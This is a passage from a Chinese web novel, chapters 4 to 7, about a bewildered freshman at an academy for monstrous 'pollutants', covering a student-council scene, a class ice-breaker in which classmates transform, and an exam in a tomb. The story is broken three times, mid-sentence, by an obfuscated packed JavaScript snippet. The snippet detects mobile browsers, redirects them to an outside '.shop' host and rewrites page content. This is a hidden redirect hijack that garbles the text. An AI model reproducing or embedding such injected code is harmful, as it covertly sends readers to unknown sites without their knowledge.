推开蒂芙尼彩色玻璃花窗,刚好可以一览操场风光。微风吹过,轻纱窗帘微微飘拂,室内光影朦胧,如梦似幻。 沈青扎着侧马尾,发辫垂在胸前,眉目温婉,将手上的咖啡杯放在木质桌子上。 “新品冰美式,你会喜欢的。” 符停端起喝了一口,眉头微皱,“至于冰美式里也放伏特加么?” 沈青道:“我喜欢。听说你昨天又失控了,在训练场暴走?下次在咖啡里加点抑制剂,反正你都当水喝。” “不必。” 操场上响起嘹亮的口号。 “新生啊,真有劲。”沈青的视力超乎常人,远远扫过每一张人脸,“呀,有个小帅哥。对了,其中有个人很有意思,我在EE的内网看过,他没有记录名。” 符停撩起眼皮,“谁?” “保密。”沈青耸了耸肩,“总归是这群小豆丁其中之一,比起这个,我还是更在意帘子是谁?” 符停面无表情。 沈青:“不应该呀,会长大人如今这么宽宏大度了?” “……” “没意思。”沈青遗憾。 “我暂时原谅他了。”符停淡淡地说。 他加了【帘子】好友,本想问罪,没想到这人拐弯抹角地恭维他,还说什么……喜欢触手系这种骚话。 他不爱回消息,但每天看着【帘子】叽叽喳喳的也挺有意思,像养了只电子宠物。真想知道那家伙哪来那么多搞笑表情包? 沈青惊讶不已,“你还有转性的一天?【朦胧见】说昨天小学弟给你送了甜甜辣辣章鱼足,整个学生会要笑炸了,小学弟是哪个啊?” “不知道。”符停说着,食指变成一条触手,他从口袋里摸出一袋抑制剂,神色冰冷地喝了,才恢复人样。 沈青登陆系统查了一下。 “他叫喻连枝。” “哦。” — 喻连枝打了个喷嚏。 休息时间,他和史钟坐在树荫底下乘凉,涂乐意拿了两瓶水过来。 “感觉不舒服就去拿药哦,那边准备了很多啦。” 应该说的是藿香正气水吧。 喻连枝摇摇头,“没事,大男人晒一下没什么问题。” 史钟举起手:“班长,我确实感觉要异变了,药剂在哪?” “你小子说话还挺有意思,还变异,中二病啊。”喻连枝摘下帽子扇风,“兔、涂班长说在主席台前面。” 史钟起身,噔噔地跑过去拿。 涂乐意垂眸看了一眼,坐他旁边了,挽起衣袖,“人家晒了半天黑一个度,你真的好白哦,一点都没变化诶。” 喻连枝笑道:“随我妈,天生的。” 暑假期间他和董大冬天天跑出去玩,一个月下来董大冬黑成煤炭,他还是白得发光。 涂乐意说:“还好明天就不用晒乐,教官说换地方训练。” “总算要去室内了,外面也太热了。” “是吼。” “班长,”他认真道,“有没有人说过,你酱讲话真的很机车耶~” 涂乐意哼了一声,“没有耶。” 喻连枝乐不可支,忽然想到正事,“班长,容我问一句,学生会办公室在哪儿?” 涂乐意瞪大眼睛,“你要干嘛?” “私事,私事。”喻连枝尴尬地摸鼻子。 “学生会里两党纷争,一边是以符停会长为首的学习部,一边是以【朦胧见】为首的文艺团。两边看似井水不犯河水,实则暗潮涌动,文艺团无时无刻不想把符停给罢免了,好让他们的老大【朦胧见】掌管大权。” “两党有各自的办公室,你要找哪位?” “会、会长?” 涂乐意道:“会长办公室在二号楼222室。” “多谢。” 正说着,面前投下一道可怖的阴影 喻连枝有点脸盲,但对这哥们勉强还有印象——看着实在是太凶煞了,他不应该竞选班长,而应该去竞选意大利黑手党。 男人手里的水瓶直直冲着涂乐意。 喻连枝看不得霸凌,挺身而出,“落选了就事后欺负人?不如找找自己的缺点,哥们,我从小也是学跆拳道的,劝你别乱来。” 男人拧开盖子,“小涂班长,你渴吗?” “……” 喻连枝一脸狐疑地坐了回去。 涂乐意摸耳朵,摇头,“不渴。” 男人用下巴瞧喻连枝,道:“这种小白脸?恐怕连毛都没长齐,还没断奶吧。” 喻连枝诶了一声,“禁止人身攻击,哥们真学过跆拳道……” 男人粗鲁地打断他发言,鹰隼般犀利的目光紧紧抓着涂乐意。 “班长,我爱你,和我在一起。” 啊?? 不是干架吗?这什么剧情? 一句表白打得喻连枝始料不及,站在吃瓜第一线,目瞪口呆。 涂乐意淡定道:“看你表现,再去搬一箱水。” “嗯!” 一人一狗一前一后地走了,徒留喻连枝风中凌乱。 ……男同竟在我身边?! 训练结束,别人都去食堂吃饭了,喻连枝苦哈哈地跑去找二号楼。 网上都说大学就是个小社会,但没人和他说,污院是个灰社会啊。 学生会里争名夺利,堪称权力的游戏,而他活不过第一集。 还好222室不难找,喻连枝站在办公室门口,酝酿心情。 “进。” 里面的人仿佛开了天眼。 “好的,我进来了。” 喻连枝推门而入,紧张地环顾四周,神色中略微带点藏不住的不服气。 办公室开着空调,旁边的一整面架子上,陈列着各式各样、稀奇古怪的黄金奖杯。 中心摆放着一张白蜡木板长桌,桌子尽头的主位上,有个青年正襟危坐,双手放在电脑上。 “哈喽?空调是不是有点冷了哈哈。”喻连枝干笑了两声,飘忽不定的视线最终落在那人脸上。 靠,这哥们长得有点牛逼。 以他这种直男审美来看,确实是大帅哥,不可否认,比任何三次元小鲜肉都英俊,突破次元壁的一张脸。 美中不足的是,这人沉黑的眼睛毫无情绪,过于直白就像机器,一台带着审判意味的测谎仪。 喻连枝老实了,“您好。” 外面忽然飘来乌云,遮住太阳的光线。 室内没有开灯,倏忽间暗下来。 符停眼眶深邃,眸光藏在阴影中,“有事?” “有事,昨天您、你、您叫我来的。”喻连枝站在桌边,一脸局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622957|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 促地居高临下。 “说。”符停直视前方。 说什么??? 喻连枝眨了眨眼,眼神无辜清澈,“哥,说啥?” 符停皱眉:“禁止套近乎,坦白你犯了什么事。” “好像是和门卫赛跑了,不过会长哥,真不是我的错,我不知道他会追我啊!” “坐。”符停听完,从手旁抽出一张空白的纸,“五千字检讨。” 喻连枝愁眉苦脸,“非要写吗?” “或者警告处分,你选一个。” “我写我写。”他还算是个守规矩的学生,从小到大都没吃过处分,要是开学第一天就背处分,还活不活了? 喻连枝趴在桌子上,拿着笔,蹙着眉写下“检讨书”三个字,“会长,议论文还是记叙文。” “……” 符停正在电脑上劈里啪啦地打字办公,抬起眼皮,静静地看着面前趴着的人。 晒了一上午,对方白皙的脸颊皮下透着点红,轮廓清晰,瞳孔颜色偏浅,显得又润又亮,有种属于少年的意气风发以及……不知好歹。 污染物通常心里扭曲变态,反社会倾向严重,因此需要学生会严加管教。 像这种不含杂质的眼神在学院里是很少见的。 污染物不可能这么干净。 哼,装的。 “记叙文。”符停神色骤冷,眼神一凝,快速拿过他的手机,“你在和什么人通风报信?” 眼皮子底下还敢耍花招。 符停垂眼,手机屏幕赫然显示着百度搜索引擎,以下为搜索记录。 【被老头子追了怎么写检讨?】 【大学门卫追逐五千字检讨书】 【欺负老人实则被欺负检讨五千】 …… 【怎么在检讨书里阴阳怪气?】 符停:。 手机被推了回来。 喻连枝尴尬得头皮发麻,脚趾差点抠出三室一厅,“我就是找点灵感。” 整整一个傍晚,他鬼扯了一通乱七八糟的东西,洋洋洒洒,光是描述老头的长相就花了五百字。 符停没看,收到了一边,教训道: “门卫本就步履蹒跚,以后不要故意减速戏耍他,正常速度直接甩开五十米,记住了吗?” 喻连枝这人一听训就神游,左耳朵进右耳朵出。 “知道了……” 手酸,胳膊也酸,他没忍住轻轻靠在桌子上借力。 下一秒,呲得一声巨响。 “卧槽!”手下一滑,整张桌子被丝滑地推走了。 “操操操……”他在会长大人惊悚的目光中,跟随桌子一块飘了过去,摔在会长的脚背上,姿势非常狼狈。 脑海中莫名其妙出现一张受力分析图,F滑等于……等等,高考没选物理,分析不了。 符停:“……” 爬起来踉跄两步,喻连枝默默把桌子拉回来,一脸正气,目不斜视,假装无事发生。 符停:“你到底想做什么。” 喻连枝两只耳朵烧得通红,“意外,报一丝。” “我知道你听说了什么传闻,想来试探我,但曾经这种人都被关进了禁闭室。” “……啊?”喻连枝呆滞。 符停揉了揉眉心,竟然头一次分辨不清真伪,只好说:“下不为例。” “多谢会长。” 喻连枝礼貌地说完转身,迈着正步落荒而逃。 啊,好想原地去世。 寝室里,薄空朦和杜影两位学长不在,喻连枝马上去洗了个澡,试图洗去霉运。 他把毛巾搭在头上玩手机,周身浮着一股奶香味坚果美食调的沐浴露味。忙了一天,开始回复消息。 灾厄昨晚回了个“谁”。 喻连枝想了想,还是捂紧现实的小马甲比较好,两人没有熟到可以裸奔的地步。 【帘子】:已经解决了,我把那货揍了一顿,揍得他屁滚尿流。 【帘子】:他在我面前,丢了个大脸哈哈哈 这时,班级群发了消息。 【班级群群通知】:请25届同学八点到操场集合,我们练练军歌,彼此认识一下,有拉歌环节哦~ 5. 第五章 操场。 “兄弟,你好香。” 喻连枝连滚带爬地跑开,摆手,“史莱姆兄,慎言,我不是男同!” 史钟说:“你误会了,我就想问问你哪里买的香水,我哥要生日了,想给他买一瓶。” “没喷香水啊。”喻连枝挠头,“应该是沐浴露的味道,直播间满减活动,我妈买多了,家里囤了好几箱。” 涂乐意施施然走来,巧笑嫣然,“人家也想要链接了啦。” “……好的兄弟。” 他还嫌弃牛奶味不够Man,没想到受众这么广。 “都到齐了,”李教官背手而立,一整天都覆着面,颇为神秘,“坐吧。” 李教官教了几个军训拉歌口号,但由于人数少,还分成两个阵营,喊得稀碎,毫无气势。 还有喻连枝之辈,张着嘴滥竽充数。 教官:“机关枪——” 喻连枝:“两条嘴——” 教官:“打得对面——” 喻连枝:“张不开腿——” 怪怪的,感觉哪里不对? 教官倒很佛系,快速走完流程,然后就让他们围成一个圈,自己反而溜走了。 可以理解,一整天捂着脸不透气多难受。 接下来的时间留给班级破冰,可以表演才艺,或者玩玩游戏。 月明星稀,乌鹊南飞。 十五的月亮十六圆,头顶巨大的月盘高悬,不知道为什么,今天的月亮外圈有些红光,凝视像是深渊。 涂班长组织大家自我介绍。 无人开场,大家似乎齐刷刷地在等待什么。 喻连枝左顾右盼,尝试当个起头人。 他举起手,站到包围圈中间,清了清嗓。 “大家好,我叫喻连枝,连理枝的连枝,南海人。我是一个开朗且充满passion的人,爱好各种游戏,电动游戏,手游网游都玩,无双王者二十星,战绩可查。” 涂乐意喃喃自语:“连理枝?” 喻连枝准备下去了,看着其他人一脸期待的神情,茫然,“我说完了啊。” 没有掌声就算了,怎么他开完场子更冷了? 好兄弟史钟替他解围,上去接力。 “大家好……我叫史钟,记录名称:史莱姆,爱好吃饭,吃很多饭,目前异变情况不太稳定……总之希望能和大家好好相处。” 因为紧张,他的小胖脸憋得通红,整个人凭空消失。 下一秒,一滩透明软肉掉在地上。 这瞬间很安静,静得落针可闻。 喻连枝不敢置信地眨了眨眼睛:“这是什么魔术吗?你刘谦啊史钟。” 转瞬后,掌声如雷。 【史莱姆】污染领域展开。 有如一颗火星子掉进稻草堆,场面被点燃,彻底失控了。 全班同学开始异变,无数个污染领域叠加。 【鹰隼人】污染领域展开。 【魔瞳】污染领域展开。 【燃鲛】污染领域展开。 …… 整个空间被某种猩红线条笼罩,浓郁黑暗,没有一丝光亮。 喻连枝的理智骤然崩裂,拔腿就跑。 他往左边跑。 左手边的同学脸皮裂开,吐出一颗巨大的黄白色眼球。 他往右边跑。 右手边的同学长出几十条细腿,这些腿绵软富有弹性,像是面条扭在一起,深深扎进大地。 他往前面跑。 涂乐意嘴部变长,脸上长出绒毛,再一抬头,已经是一只双目流血的邪恶兔子…… 【兔儿神】污染领域展开。 那天在楼道里见到的兔头人,是真的! “我靠。”喻连枝站在中间,一屁股坐在地上。 接二连三的精神污染冲击视网膜,直达天灵盖。他手脚并用爬了很久,眼泪都崩出来了,扭头却发现自己还在原地。 “完了,我完了。” 无数癫狂的声音充斥空间,空气中漂浮着恶心的血滴和黏液,畸形的人体器官朝他摸索而去,爬行中血肉飞溅,时间空间凝滞,仿佛从三维世界脱离,他陷入沥青般沉重的泥地陷阱。 动不了! 动不了怎么办啊妈妈! 妈妈妈妈妈妈妈! 人害怕到一定程度,会失去对身体的控制。 兔头人一步一步靠近,污血挂在脸颊上,声音如同地狱恶魔的呢喃。 “连理枝,你爱我吗?” 你这幅样子真的很难让人爱上啊!! 喻连枝内心狂叫,实则抖如筛糠,说不出话。 兔头人又靠近一步,威胁道:“说你爱我。” 粘稠的血滴在喻连枝的裤脚上。 涂乐意皱了皱眉,他要听到回答,可是对方的声音太轻了。他侧耳,想听清说了些什么。 “滚,滚啊……” 出乎意料,喻连枝在说“滚”。 涂乐意不解地耸耸鼻尖,他失灵了? 【兔儿神】污染领域内,任何与他对视的同性生物都会暂时爱上他。 这个【连理枝】,什么来头? 一群污染物展示完本体,整齐地看向喻连枝。 有眼睛的,没有眼睛的,几十只眼睛的,眼睛爆开的,眼睛上还长眼睛的…… 所有眼球锁住唯一的人类。 诡谲的目光下,空间开始旋转,光怪陆离的色彩被搅成粘稠的光点,他好像置身于一个万花筒里。 ——轮到你了。 它们的声音重叠诡异,像无数昆虫的窃窃私语,又像是指甲划过黑板,高亢刺耳的尖叫。 ——你是什么你是什么你是什么你是什么你是什么你是什么…… 你是什么!! 我。 你究竟是什么!! 我究竟是什么?! 喻连枝不知道,他很想吐,想把脑浆从嘴里吐出来,想把自己整个抽成真空,剩下一张皮,埋进死亡的土地里。 他感受到来自这些怪物的愤怒。 我是人。 是吗? 喻连枝的脊椎在颤抖,瞳孔在张合,他意识到自己并没有在呼吸,胸口却剧烈起伏。 假象,都是假象。 真相就是。 有的人看着还活着,其实已经走了好一会儿了。 涂乐意起身拉开距离。 原来不是自己失灵,而是对方已经死了。 连理枝死了。 铮—— 突然,长达一分钟的鸣音回荡在黑色领域内,刺耳的声音令污染物毛骨悚然。 树人藏进根部,眼球惶恐低下,兔头人捂住耳朵,血泪凝结干涸。 喻连枝已然是一具插在地里的僵硬尸体,眼神失焦。 人们所说的瞳孔其实是眼球最中心的黑点,再往里就是晶状体和玻璃□□。 有什么东西在他的瞳孔里爬,白色金属液体像是岩浆,从晶状体涌出,将亚洲人棕黑色的瞳孔染成荧光白。 这个本该死去的人眼睫微颤。 接着,他的表情动了,撩起眼皮,摊开手掌,嘴角微微挑起,语调万分诚恳。 “我真的是人。” 污染物们面面相觑,它们不敢说话,只好用隐晦的方式在私底下指指点点。 谁信啊。 近乎二十个污染领域叠加,“人”早就死得不能再死了。不被这种浓度的污染氛围感染,还能轻松维持人形的,肯定是什么高级污染物。 综上所述,他保密,他好装。 — “我既没欠你钱,也没看见你的异变体,干嘛总是一副面瘫脸?” 薄空朦每天都在擦枪。 这柄红缨枪,他入学时就带着了。 符停则是每天都在电脑上处理公务,活得比院长玛丽亚.E还像个人机。 他没空理会薄空朦言语中的讽刺,食指点了点桌面,“窃影,去控制一下。” 他念的是【窃影】,记录名称,说明是学生会派遣的强制性公务。 杜影摘掉眼睛底下的两片透明眼膜,哦了一声。 薄空朦趁机挖人:“加入我们文艺团吧,至少不会叫你大半夜去干活。” 杜影摇头,“不要,我不想跳舞。” 文艺团承包污染物学院的文艺晚会,每年都要集体跳舞。其中有个污染物的能力,是让人不由自主地嗨起来,在她的领域内,所有人必须整齐划一,完成舞蹈表演。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622958|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薄空朦道:“好吧。其实没你想象的那么恐怖,还挺解压的。” 杜影老实说:“我是社恐。” 符停的电脑停留在校园论坛,好几个学生已经抓狂。 【那群新生在操场上开party呢?吵死了,还让不让睡了?】 【学生会能不能去管管,再不管我室友就异变,把那群小崽子全吞了!】 【家人们真的很烦啊,跟傻叼一样喊喊喊,激动什么啊到底?】 会长的职责就是维护污院的peace and love。 符停声音冷漠:“快去。”他正准备关掉界面,突然弹出一封标红消息,发信人是污院最高行政级别:玛丽亚.E。他逐字阅读完,径直关机,然后起身穿上外衣,快速离开寝室。 薄空朦一脸“你看你又急”的表情。 杜影把身上的绷带缠紧,想了想,外面可能会冷,又披了件粉色外套。 “拜。” 他说完,整个人像液体一般挤进床底的阴影中,水波微动,人已经飞窜离去。 【窃影】污染领域展开。 现在是夜晚,准确来说,整个半球都在地球的阴影之中,【窃影】在黑暗中是无敌的。 他“游”到操场,从阴影里现出人形。 奇怪的是,这些扰民的小兔崽子已经自动安静了下来,一个个收住异变体,以人的形态,正准备回寝室。 杜影公务在身,还是尽职地嘱咐了一句,“回去的路上保持安静。” 涂乐意点点头,一脸乖巧,“对不起学长,刚才是我们太激动了。” 杜影嗯了一声,就听一个绝望的尖叫划破夜空。 “啊啊啊——” 一道仓皇的人影朝他奔来,“学长救命啊啊啊!” 杜影定睛一看,是他们寝室新来的小学弟? 章鱼足很好吃,所以他对学弟的印象还不错。 喻连枝抱住杜影的大腿,哭嚎了半天,觉得有点不对劲。 睁开眼环视四周,同学们以一种吃瓜的眼神看着他。 “不是,都是人?怎么都是人了?!” 史钟弱弱举起手,“你刚才睡着了。” 一分钟前,所有污染物被鸣音震慑得回了神,把领域收起来后,那个死装哥居然躺在地上睡得正香。 在污染领域内睡觉,至于这么看不起别人吗! 喻连枝把自己从头到脚检查了一遍,完好无损,顿时尴尬得想找个地缝钻进去。 “不好意思,做了个噩梦。” “没事。”杜影道:“能把我的腿还给我吗?” 喻连枝撒开手,连连鞠躬道歉。 所有人看起来都很正常,涂乐意也是平时笑眯眯的模样,根本不是什么男同怪物兔头。 不对,是男同,不是怪物兔头。 反而是自己一惊一乍的模样很怪异。 “原来是梦啊,太好了。”他轻声安慰自己。 同学们各回各家,僻静的小道上,只能听到鞋跟落地的声音。 喻连枝心有余悸,找了个话题聊天,“杜哥,你怎么会来操场?” 杜影不爱说话,但看在章鱼足的面子上,薄唇轻启回答,“你们太吵,被投诉,我来处理。” “很吵吗?没印象了,话说回来,这么吵我都能睡着,也是厉害。” “嗯。” “杜哥,你cos的是哪个角色啊?” “听不懂。” “别卖关子啊,我虽然不是纯正二次元,但也很喜欢看番的!番的名称是啥,我回去看看。” 名称?记录名称? 杜影想了想,道:“窃影。” 回到寝室,他睡前刷了会儿手机。开学这段时间太忙了,都没空批阅别人的朋友圈。 大多数高中同学都在发军训相关的内容,喻连枝也参与其中,捧着手机打字。 【帘子】:军训累得坐着就能睡着,做了个巨真实的噩梦,被吓醒,我这坎坷的一生#老兵烧烤 配图:举起大拇指。 不一会儿,董大冬回复了。 【大冬瓜】:你现在真的是军犬了,一定要注意自己的言行举止。 【大冬瓜】:打错了,军爷。 6. 第六章 痛! 好痛! 花添错闭着眼睛,呈大字躺在地上,似乎在等死。 他给学院发了紧急求救,但不知道救星什么时候来。 同伴趴在一边,边吐血边说话,“说好的1.5级污染物,这玩意儿至少2级了,吞我俩跟吞小饼干似的。” 花添错道:“不止。他原本是1.5级,短短一天时间升到2级,现在2.5级了,逆天。” “恐怖如斯!” “我入学一年才升到2级,他凭什么!” 花添错奄奄一息,控制不住人形,异化时,头部皮肉裂开,一颗食人花从中挤出,花瓣朝前张开,鲜血淋漓,一圈一圈的铁齿森然。 这朵食人花再也抬不起口器,花蕊无力地耷拉着,汩汩鲜血从花心涌出。 【齿花】污染领域正在被吞噬。 属于花添错的伴生物,一朵探出泥土的迷你食人花反戈相向,一口咬上花添错的手指。 “嘶,造反了造反了!” 同伴遭遇的情况类似,幽幽道:“预计再过五分钟,我就彻底成为这个污染物手底下的小兵了。” 污染物并不能被消灭,但低级污染物可以被高级污染物所吞噬,然后彻底成为傀儡,在对方的区域内失去意识,任劳任怨地打工。 花添错蜷起手指,悲壮道:“可悲啊!我就不该在人外保险上填我哥的名字,让他赚翻了!为什么死的不是我哥!” 同伴击碎他的死前幻想,“你是不是对【骨生花】有误解?赌徒的话你都敢信?” “什么意思,他填的不是我的名字吗?!” 同伴道:“【骨生花】压根就没买保险。” 花添错一愣,随即气愤不已,“我要是能回去,一定生吞了花亦骨!” 正说着,门外传来轻轻的扣门声。 伴随着女人杜鹃啼血般的嗓音—— “吉时已到,新郎闯门。” “请回答三个问题。第一,新娘的生日是?” 门外那人声音凉薄,不紧不慢,“正月初九。” 女人咯咯笑了两声,“答对咯。下一个问题,新娘最喜欢的食物是?” “草莓奶油。” “又答对咯。”女人的声音愉悦中带着扭曲怒意,“最后一个问题。” 花添错屏住呼吸,心跟着揪住。 “你确定……嘻嘻,这个房间里……嘻嘻……是真正的……新娘吗?” 女人,其实是这个污染领域内的某种伴生物,笑声诡异阴森。 花添错大声喊:“不是!不是新娘,是我们啊,别搞错了!” 可惜他的声音被领域屏蔽,门口的人并不能听到他的提示。 “嘻嘻,答错了可是会死的哦~嘻嘻……呃。”笑声被硬生生掐住,卡在喉咙里。 一条触手捅穿她的喉管,从后脑勺穿出。 下一瞬,女人轰然倒塌,瓦解成一堆错综复杂的银色线条,沿着墙壁逃走了。 符停推开门,收起异变形态,整理衣襟,得体得如同受邀上门做客。 “会长!”花添错喜出望外。 符停微微颔首,一丝不苟地确认,“【齿花】、【山野狼】?” “是!” 符停轻松扛起巨大食人花,正准备扛起另一人时,顿住了。 黑气从他身上弥散开,隐秘的触手从地底悄然伸出,如利刃刺穿狼头人的心脏,然后迅速撤回。 花添错只看到黑气一闪而过,同伴的污染领域彻底消失。 被吞噬了。 虽然和【山野狼】是临时组队,两人只是恰巧接到同一课业任务,他连对方的人名都不知道,但也是出生入死的同伴,此情此景,花添错是朵情感充沛的食人花,难免黯然神伤。 可怜的野狼同学,会长还是晚了一步,没能带他回学院。【山野狼】说过,还有五分钟被吞噬,五分钟过得太快了……不对! 他望向墙壁的钟表。 四分半。 他后知后觉,忽然畏惧地望向符停,颤抖着开口。 “会长,他、【山野狼】没死,他还没有被吞噬……你、你为什么要吞了他?” 符停面不改色,“我无需和你解释。” 花添错哀求道:“为什么,到底是为什么?他能活,他说了还有五分钟,你吞噬了他,是你杀了他……” 符停收住脚步,被吵得头疼。 “一个2.5级污染物,吞噬2级污染物,确实还需要五分钟。” “什么……意思?” “这个污染物已经超过2.5级,正在逼近3级。” 他不吞【山野狼】,【山野狼】也会被这个污染物所吞,给学院后续工作造成困扰。 绝不允许。 — 好消息,涂乐意说的是真的,第二天果然不用站在太阳底下了。 李教官说去什么师园入学考试。 很正常,大多数学校都会举行,主要是为了做笔迹鉴定,怕替考和冒名顶替。 喻连枝是捡漏上的普鲁圣,因此看向史钟的目光都有了几分崇拜,“你们可真厉害呀。” 史钟:…… “唉,我入学考肯定垫底了,跟你们这些高手呆在一起,承包四年的倒数。” ……你又在装什么? 史钟努力把吐槽咽回去了。 活师园里温度很低,喻连枝环视四周,感觉是个山洞。为了省空调费,已经节约到这个地步了吗? 考试桌子是木头做的,上面还有复杂的雕花。 李教官依旧是一副作战特种兵的样子,“现在,考试开始。” 喻连枝举起手,“没有试卷和答题纸啊。” 李教官没理他,自顾自出去了。 “教室”里温度再一次下降,喻连枝趴在“桌子”上,忽然听到里面传来嘎吱嘎吱的声音。 像是有人在“桌子里”用指甲挠木面。 “史钟,我还是觉得有些不对。” 史钟疑惑:“怎么不对?” 喻连枝掰着手指头举例。 “首先,可以考试,但不应该在山洞考试。” “其次,可以在山洞考试,但不应该在棺材板上做卷子。” “最后,可以在棺材板上做卷子,但不啊啊啊啊啊啊,尸体不应该活过来啊啊啊啊啊!!!” 他反应过来,这里是个墓室。 — 校园集市论坛。 主题:【新生入学资格复查考试已开始,地点:活师园】 楼主:【朦胧见】 已知活师园收容污染物0.5级,考试时间二十四小时,共二十名新生,等级未知,猜猜这回有没有新生会挂科、退学、或者……死? 一楼:【匿名】 你好恶毒啊,一般来说死不了,除非教官不救。 二楼:【青衣摇】 我当初睡着了都能及格线飘过,门口老大爷去考也能过吧……历史上只有一个人被退学了,因为他真的是人。 三楼:【窃影】 同意。 四楼:【青衣摇】 不过也不好说,这届有个神秘人。 五楼:【灼光】 一线记者为各位报道,有几个新生很有意识,是好苗子。 六楼:【骨生花】 教官透个底,第一和倒一分别是谁,我要和琥珀浓赌一把。 七楼:【琥珀浓】 看了新生名单,已有预感,我赌某个三字污染物,名字中带l的第一,谁跟?我们赢光骨生花的钱。 …… 十八楼:【匿名】 其实只是初步评估新生的污染等级,成绩没啥用,我们那届,会长直接暴走吞了2级污染物,谁都没测,全员零蛋。 十九楼:【神经】 会长永远的神。 二十楼:【匿名】 符面瘫无脑吹给我滚出帖子,朦胧见才是众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622959|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望所归! 二十一楼:【匿名】 所以有没有人能透露符面瘫的记录名称和异变体样子啊?本人真的很好奇。 二十一楼:【匿名】 (该评论内容已被管理员删除) …… 歪楼了。涂乐意收起手机,心里踏实了几分。 虽然说墓园考试难度低,但还是要争取拿到鹤立鸡群的好成绩。只要有亮眼的表现,就有更大可能如愿以偿进入学生会。 进入文艺团。 其他人倒不值一提,唯独一人让他颇为在意。 连理枝。 涂乐意藏在棺材板后面,头部扭曲变形,从一张清秀的少年脸异化为一颗恐怖阴森的兔头。 他看了一眼左前方,喻连枝正死死摁住棺材,不让里面的怪物坐起来。 连理枝满脸惊恐,漆黑的眼睛瞪得溜圆,嘴里一直在翻来覆去地说“卧槽”,放在棺材板上的那只手特别白,果真晒不黑。 涂乐意有轻微不爽,更多的是忌惮。 连理枝很喜欢装弱,区区一个伴生物,至于吓成魂不附体的样子? 演过了吧宝宝。 涂乐意嗤了一声,眼眶里流下血泪,顺着阴暗的角落悄然离开。 “史莱姆,别把它放出来!”喻连枝大叫。 史钟吓了一跳,把棺材板摁上,满脸疑惑,“怎么了吗?只是一个污染领域伴生物,很弱的。” “你说这玩意儿很弱?!” 话音刚落,干尸把木头棺材盖啃出一个洞,破盖而出。 喻连枝眼皮直跳,拔足狂奔。 但是为什么,这些鬼东西只追着他一个人?! 自从来到普鲁圣大学,就一直在被追杀。先有门卫老头,还能用老年痴呆解释过去,现在这个怪物又是什么?干尸吗? 它们凹凸不平的黑色皮质上嵌着两颗无神的眼珠,口里有成列的角质齿,乍一看,像是挂着憨厚但渗人的笑。 脑袋后还挂着像马尾一样的赘物,黏腻腻,湿哒哒,看得人san值狂掉。 李教官大骗子,不是说活师园举行新生入学复查考试吗? 他笔都带了,请问试卷在哪呢? 史莱姆跟着他跑,明明是个软糯的小胖子,两条腿扑腾得飞快。 “兄弟,这是你的计谋吗?我们是不是要把伴生物引到一起,然后一网打尽。” 喻连枝忙着逃命。 史钟:“我怎么没想到这个办法。” 喻连枝忙着躲避干尸。 史钟:“你好聪明啊!” 喻连枝百忙之中缓缓打出两个问号。 他跑进另一个墓室,扣上门,将一群干尸隔绝在外,反观史钟淡定得让人害怕,他总算觉察出一丝不对劲。 “你都知道什么!” “你问我?”史钟疑惑,“还有你不知道的?” 喻连枝灵光一闪,挺直腰板,“呵,我就是考考你。” 史钟对疑似高阶污染物的好兄弟非常崇拜,和盘托出。 “记录名称【活师】,不足1级的污染物。原本是个盗墓贼,技术不高,以挖掘普通墓葬为生,最后一次进墓时出了意外,腿摔断了,只能原地等死,死后估计是怨念太重就成了污染物,被捉回学院。不过这人已经失去意识,浑浑噩噩地保持异化形态,所以学院不予录取,就收容在这了。” 好。 听不懂。 喻连枝收起表情,他没明白什么污染物,什么异化,但他还能不懂盗墓? 《鬼吹灯》《盗墓笔记》倒背如流。高中时他深深迷恋,每天都在梦里倒斗,还说梦话做动作,吓得董大冬以为他鬼上身,一学期没睡好觉。 “哼,我就说‘粽子’是真实存在的。” 史钟流口水:“哪有粽子?” 喻连枝拍胸口保证,“兄弟别怕,盗墓这块我是专业的。” 史钟满脸敬佩,竖起大拇指,“兄弟,我跟你混!” 7. 第七章 门外声音远去,喻连枝观察起周身环境,墓室风格古朴,灯光昏暗,墙上的烛火摇摆不定,简直是沉浸式密室逃脱。 中间摆着一口棺材。 一颗死气沉沉的头正从棺材里升起,脸皮黏腻,还是门外那种尸体。 喻连枝眼前一黑。 事实上,他不是张起灵。 他只是个老倒霉蛋。 “史莱姆,我再考考你,这玩意儿怎么打?” “当然是吞……”史钟还没说完,被这具尸体打断了。 “你……你会刻……画像石吗……” 它的双腿跨出棺材,如同刚洗完澡踏出淋浴间,带出很多水,也不知道是尸体分泌的粘液还是什么。喉间被粘液堵住,声音不清不楚,“按照……这上面的……图案刻。” 喻连枝面前摆着一本被水浸泡得皱巴巴的册子,书页角上还挂着鼻涕一样的东西,悬而欲坠。 